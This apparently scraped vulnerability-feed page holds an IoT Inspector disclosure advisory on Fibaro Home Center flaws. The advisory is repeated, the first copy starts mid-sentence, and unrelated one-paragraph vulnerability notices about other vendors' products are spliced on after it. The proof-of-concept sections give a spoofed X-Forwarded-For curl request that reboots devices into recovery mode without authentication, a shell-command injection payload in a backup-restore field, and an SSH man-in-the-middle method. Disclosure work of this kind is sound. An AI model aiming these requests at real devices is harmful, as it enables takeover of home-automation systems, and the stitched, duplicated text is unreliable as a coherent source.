man-in-the-middle attack and a device initiated remote port-forward channel can be used to connect to the web management interface. IoT Inspector identified a disabled SSH host key check, which enables man-in-the-middle attacks. By initiating connections to the Fibaro cloud an attacker can eavesdrop on communication between the user and the device. As communication inside the SSH port-forward is not encrypted (see #4 on management interface), user sessions, tokens and passwords can be hijacked. In recovery mode, an attacker can upload firmware without authentication. (Potentially an earlier version with known remote command execution vulnerability, see #3) 3) Authenticated remote command execution (versions before 4.550) (CVE-2021-20991) An authenticated user can run commands as root user using a command injection vulnerability. Similar problems were also discovered by Pavel Cheremushkin from Kaspersky ICS Cert: https://securelist.com/fibaro-smart-home/91416/ 4) Unencrypted management interface (CVE-2021-20992) Home Center devices provide a web based management interface over unencrypted HTTP protocol. Communication between the user and the device can be eavesdropped to hijack sessions, tokens, and passwords. The management interface is only available over HTTP on the local network. The vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Proof of concept: ----------------- 1) Cloud SSH Connection Man-in-the-Middle Attack Home Center devices initiate a SSH connection to the Fibaro cloud ./etc/init.d/fibaro/RemoteAccess <snip> DAEMON=/usr/bin/ssh .... case "$1" in start) ..... # get IP local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Seria l}&HW_Key=${HW_Key}" local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') # get PORT local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_S erial}&HW_Key=${HW_Key}" local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') .... start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \ -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}" </snip> The device uses dropbear ssh to initiate the connection; option -y disables any host-key checks, voiding much of the otherwise added transport-layer security by SSH: "Always accept hostkeys if they are unknown." The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.: lb-1.eu.ra.fibaro.com An attacker can use DNS spoofing or other means to intercept the connection. By using any hostkey, the attacker can successfully authenticate the SSH connection. Once the connection is authenticated, the client initiates a remote port-forward: -R "${PORT_Response}":localhost:80 This enables the attacker to access port 80 (management interface) of the device. A similar problem exists for remote support connections: ./opt/fibaro/scripts/remote-support.lua <snip> function handleResponse(response) responseJson = json.decode(response.data) print(json.encode(responseJson)) local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip os.execute(autoSSHCommand) end function getSupportData() remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey print(remoteUrl) http = net.HTTPClient({timeout = 5000}) http:request(remoteUrl, { options = { method = 'GET' }, success = function(response) handleResponse(response) end, error = function(error) print(error) end }) end getSupportData() </snip> Here, the remote support endpoint returns the following data: {"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY .ZZZ"} The same dropbear ssh client is used with option -y. In this case, port 22 (ssh) is made accessible through the port-forward. However, the device only allows public key authentication with a hard-coded SSH key. No further testing has been done on compromising the support SSH connection. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode The device is running a nginx server, which forwards some requests to a lighttpd server (8000) for further processing: <snip> proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location ~* \.php$ { proxy_pass http://127.0.0.1:8000; } location ~* \.php\?.* { proxy_pass http://127.0.0.1:8000; } </snip> The lighttpd server is not only accessible locally, but also via the local network. Authentication and authorization is implemented in PHP and there is a special check for connections originating from within the host. However, when checking the remote IP address, the header X-Forwarded-For is also considered: ./var/www/authorize.php <snip> function isLocalRequest() { $ipAddress = ""; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else $ipAddress = $_SERVER['REMOTE_ADDR']; $whitelist = array( '127.0.0.1', '::1' ); if(in_array($ipAddress, $whitelist)) return true; return false; } </snip> As the lighttpd service available via the network, an attacked can inject the required header X-Forwarded-For as well. The check isLocalRequest is used to "secure" multiple endpoints: ./var/www/services/system/shutdown.php <snip> <?php require_once("../../authorize.php"); if (!isLocalRequest() && !isAuthorized()) { sendUnauthorized(); } else { exec("systemShutdown"); } ?> </snip> ./var/www/services/system/reboot.php <snip> function authorize() { return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER)); } function handlePOST($text) { if (!isLocalRequest() && !authorize()) { sendUnauthorized(); return; } $params = tryDecodeJson($text); if(!is_null($params) && isset($params->recovery) && $params->recovery === true) exec("rebootToRecovery"); else exec("systemReboot"); } $requestBody = file_get_contents('php://input'); $requestMethod = $_SERVER['REQUEST_METHOD']; if ($requestMethod == "POST") handlePOST($requestBody); else setStatusMethodNotAllowed(); </snip> An attacker can issue the the following HTTP request to reboot the device into recovery mode: curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php In recovery mode, firmware images can be updated without authentication. 3) Authenticated remote command execution (versions before 4.550) Backup & restore operations could be triggered though HTTP endpoints: ./var/www/services/system/backups.php <snip> function restoreBackup($params) { if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0) { setStatusTooManyRequests(); return; } $type = $params->type; $id = $params->id; $version = $params->version; if (is_null($id) || !is_numeric($id) || $id < 1 ) { setStatusBadRequest(); return; } $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3"); if ($type == "local" && $hcVersion == "HC2" || $type == "remote") { $version ? exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) : exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id); } else { setStatusBadRequest(); return; } setStatusAccepted(); } </snip> The parameter $version is not sanitized or escaped, which allows an attacker to inject shell commands into the exec() call: cat > /tmp/exploit <<- EOM {"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}} EOM curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php Version 4.550 and later have proper escaping: <snip> $version = escapeshellarg($params->version); </snip> 4) Unencrypted management interface NMMAP shows a few open ports on the box: PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vulnerable / tested versions: ----------------------------- Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest version at the time of the discovery Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530 Solution: --------- Upgrade to the version 4.610 or latest version, which fixes vulnerabilities 1, 2 and 3. Vulnerability 4 is not fixed as the vendor assumes that the local network is trusted and the device only provides wired network access. Furthermore, the vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Advisory URL: ------------- https://www.iot-inspector.com/blog/advisory-fibaro-home-center/ Vendor contact timeline: ------------------------ 2020-11-18: Contacting Fibaro through support@fibaro.com, support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com 2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on LinkedIn 2020-11-24: Adivsory sent to Fibaro by email 2020-12-01: Fibaro confirmed the receipt of the advisory 2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes 2021-03-16: Fibaro beta release (4.601) with the fixes 2021-03-24: Fibaro applies for CVE numbers 2021-03-31: Fibaro GA release (4.610) with the fix 2021-04-08: IoT Inspector Research Lab publishes advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ The IoT Inspector Research Lab is an integrated part of IoT Inspector. IoT Inspector is a platform for automated security analysis and compliance checks of IoT firmware. Our mission is to secure the Internet of Things. In order to discover vulnerabilities and vulnerability patterns within IoT devices and to further enhance automated identification that allows for scalable detection within IoT Inspector, we conduct excessive security research in the area of IoT. Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT firmware, we aim to responsibly disclose relevant information to the vendor of the affected IoT device as well as the general public in a way that minimizes potential harm and encourages further security analyses of IoT systems. You can find our responsible disclosure policy here: https://www.iot-inspector.com/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Interested in using IoT Inspector for your research or product? Mail: research at iot-inspector dot com Web: https://www.iot-inspector.com Blog: https://www.iot-inspector.com/blog/ Twitter: https://twitter.com/iotinspector EOF Marton Illes / @2021

In Fibaro Home Center 2 and Lite devices in all versions provide a web based management interface over unencrypted HTTP protocol. Communication between the user and the device can be eavesdropped to hijack sessions, tokens and passwords. IoT Inspector Research Lab Advisory IOT-20210408-0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ title: Multiple vulnerabilities vendor/product: Fibaro Home Center Light / Fibaro Home Center 2 https://www.fibaro.com/ vulnerable version: 4.600 and older fixed version: 4.610 CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992 impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 (critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H reported: 2020-11-18 publication: 2021-04-08 by: Marton Illes, IoT Inspector Research Lab https://www.iot-inspector.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vendor description: ------------------- "FIBARO is a global brand based on the Internet of Things technology. It provides solutions for building and home automation. FIBARO's headquarters and factory are located in Wysogotowo, 3 miles away from Poznan. The company employs app. 250 employees." https://www.fibaro.com/en/about-us/ Vulnerability overview/description: ----------------------------------- 1) Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989) Home Center devices initiate SSH connections to the Fibaro cloud to provide remote access and remote support capabilities. This connection can be intercepted using a man-in-the-middle attack and a device initiated remote port-forward channel can be used to connect to the web management interface. IoT Inspector identified a disabled SSH host key check, which enables man-in-the-middle attacks. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode (CVE-2021-20990) An internal management service is accessible on port 8000 and some API endpoints could be accessed without authentication to trigger a shutdown, a reboot, or a reboot into recovery mode. In recovery mode, an attacker can upload firmware without authentication. (Potentially an earlier version with known remote command execution vulnerability, see #3) 3) Authenticated remote command execution (versions before 4.550) (CVE-2021-20991) An authenticated user can run commands as root user using a command injection vulnerability. The management interface is only available over HTTP on the local network. The vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Proof of concept: ----------------- 1) Cloud SSH Connection Man-in-the-Middle Attack Home Center devices initiate a SSH connection to the Fibaro cloud ./etc/init.d/fibaro/RemoteAccess <snip> DAEMON=/usr/bin/ssh .... case "$1" in start) ..... # get IP local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Seria l}&HW_Key=${HW_Key}" local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') # get PORT local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_S erial}&HW_Key=${HW_Key}" local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') .... start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \ -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}" </snip> The device uses dropbear ssh to initiate the connection; option -y disables any host-key checks, voiding much of the otherwise added transport-layer security by SSH: "Always accept hostkeys if they are unknown." The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.: lb-1.eu.ra.fibaro.com An attacker can use DNS spoofing or other means to intercept the connection. By using any hostkey, the attacker can successfully authenticate the SSH connection. Once the connection is authenticated, the client initiates a remote port-forward: -R "${PORT_Response}":localhost:80 This enables the attacker to access port 80 (management interface) of the device. A similar problem exists for remote support connections: ./opt/fibaro/scripts/remote-support.lua <snip> function handleResponse(response) responseJson = json.decode(response.data) print(json.encode(responseJson)) local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip os.execute(autoSSHCommand) end function getSupportData() remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey print(remoteUrl) http = net.HTTPClient({timeout = 5000}) http:request(remoteUrl, { options = { method = 'GET' }, success = function(response) handleResponse(response) end, error = function(error) print(error) end }) end getSupportData() </snip> Here, the remote support endpoint returns the following data: {"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY .ZZZ"} The same dropbear ssh client is used with option -y. In this case, port 22 (ssh) is made accessible through the port-forward. However, the device only allows public key authentication with a hard-coded SSH key. No further testing has been done on compromising the support SSH connection. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode The device is running a nginx server, which forwards some requests to a lighttpd server (8000) for further processing: <snip> proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location ~* \.php$ { proxy_pass http://127.0.0.1:8000; } location ~* \.php\?.* { proxy_pass http://127.0.0.1:8000; } </snip> The lighttpd server is not only accessible locally, but also via the local network. Authentication and authorization is implemented in PHP and there is a special check for connections originating from within the host. However, when checking the remote IP address, the header X-Forwarded-For is also considered: ./var/www/authorize.php <snip> function isLocalRequest() { $ipAddress = ""; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else $ipAddress = $_SERVER['REMOTE_ADDR']; $whitelist = array( '127.0.0.1', '::1' ); if(in_array($ipAddress, $whitelist)) return true; return false; } </snip> As the lighttpd service available via the network, an attacked can inject the required header X-Forwarded-For as well. The check isLocalRequest is used to "secure" multiple endpoints: ./var/www/services/system/shutdown.php <snip> <?php require_once("../../authorize.php"); if (!isLocalRequest() && !isAuthorized()) { sendUnauthorized(); } else { exec("systemShutdown"); } ?> </snip> ./var/www/services/system/reboot.php <snip> function authorize() { return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER)); } function handlePOST($text) { if (!isLocalRequest() && !authorize()) { sendUnauthorized(); return; } $params = tryDecodeJson($text); if(!is_null($params) && isset($params->recovery) && $params->recovery === true) exec("rebootToRecovery"); else exec("systemReboot"); } $requestBody = file_get_contents('php://input'); $requestMethod = $_SERVER['REQUEST_METHOD']; if ($requestMethod == "POST") handlePOST($requestBody); else setStatusMethodNotAllowed(); </snip> An attacker can issue the the following HTTP request to reboot the device into recovery mode: curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php In recovery mode, firmware images can be updated without authentication. 3) Authenticated remote command execution (versions before 4.550) Backup & restore operations could be triggered though HTTP endpoints: ./var/www/services/system/backups.php <snip> function restoreBackup($params) { if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0) { setStatusTooManyRequests(); return; } $type = $params->type; $id = $params->id; $version = $params->version; if (is_null($id) || !is_numeric($id) || $id < 1 ) { setStatusBadRequest(); return; } $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3"); if ($type == "local" && $hcVersion == "HC2" || $type == "remote") { $version ? exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) : exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id); } else { setStatusBadRequest(); return; } setStatusAccepted(); } </snip> The parameter $version is not sanitized or escaped, which allows an attacker to inject shell commands into the exec() call: cat > /tmp/exploit <<- EOM {"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}} EOM curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php Version 4.550 and later have proper escaping: <snip> $version = escapeshellarg($params->version); </snip> 4) Unencrypted management interface NMMAP shows a few open ports on the box: PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vulnerable / tested versions: ----------------------------- Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest version at the time of the discovery Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530 Solution: --------- Upgrade to the version 4.610 or latest version, which fixes vulnerabilities 1, 2 and 3. Vulnerability 4 is not fixed as the vendor assumes that the local network is trusted and the device only provides wired network access. Furthermore, the vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Advisory URL: ------------- https://www.iot-inspector.com/blog/advisory-fibaro-home-center/ Vendor contact timeline: ------------------------ 2020-11-18: Contacting Fibaro through support@fibaro.com, support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com 2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on LinkedIn 2020-11-24: Adivsory sent to Fibaro by email 2020-12-01: Fibaro confirmed the receipt of the advisory 2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes 2021-03-16: Fibaro beta release (4.601) with the fixes 2021-03-24: Fibaro applies for CVE numbers 2021-03-31: Fibaro GA release (4.610) with the fix 2021-04-08: IoT Inspector Research Lab publishes advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ The IoT Inspector Research Lab is an integrated part of IoT Inspector. IoT Inspector is a platform for automated security analysis and compliance checks of IoT firmware. Our mission is to secure the Internet of Things. In order to discover vulnerabilities and vulnerability patterns within IoT devices and to further enhance automated identification that allows for scalable detection within IoT Inspector, we conduct excessive security research in the area of IoT. Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT firmware, we aim to responsibly disclose relevant information to the vendor of the affected IoT device as well as the general public in a way that minimizes potential harm and encourages further security analyses of IoT systems. You can find our responsible disclosure policy here: https://www.iot-inspector.com/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Interested in using IoT Inspector for your research or product? Mail: research at iot-inspector dot com Web: https://www.iot-inspector.com Blog: https://www.iot-inspector.com/blog/ Twitter: https://twitter.com/iotinspector EOF Marton Illes / @2021

Suzhou Keda Technology Co., Ltd. is a provider of video and security products and solutions. It is committed to helping various government and corporate customers solve visual communication and management problems with video conferencing, video surveillance and video application solutions. The MSS streaming media server of Suzhou Keda Technology Co., Ltd. has a directory traversal vulnerability. Attackers can use the vulnerability to obtain sensitive information.

Samsung (China) Investment Co., Ltd. is the headquarters of the Samsung Group in China. Its business scope includes selling products produced by the companies it invests in, purchasing machinery and equipment for the company's own use, office equipment, and raw materials needed for production. WLAN AP has a command execution vulnerability, which can be exploited by an attacker to gain server control authority.

Shanghai Aitai Technology Co., Ltd. is a small and medium-sized network solution provider and service provider in China. Aitai network management system has a weak password vulnerability, which can be exploited by attackers to obtain sensitive information.

Jiuze Technology is a mobile Internet customized software service provider, providing enterprise customers with one-stop mobile Internet solutions from product planning, conceptual design to software delivery, and operation promotion. A SQL injection vulnerability exists in the intelligent IoT system of Nanjing Jiuze Software Technology Co., Ltd. Attackers can use vulnerabilities to obtain sensitive information in the database.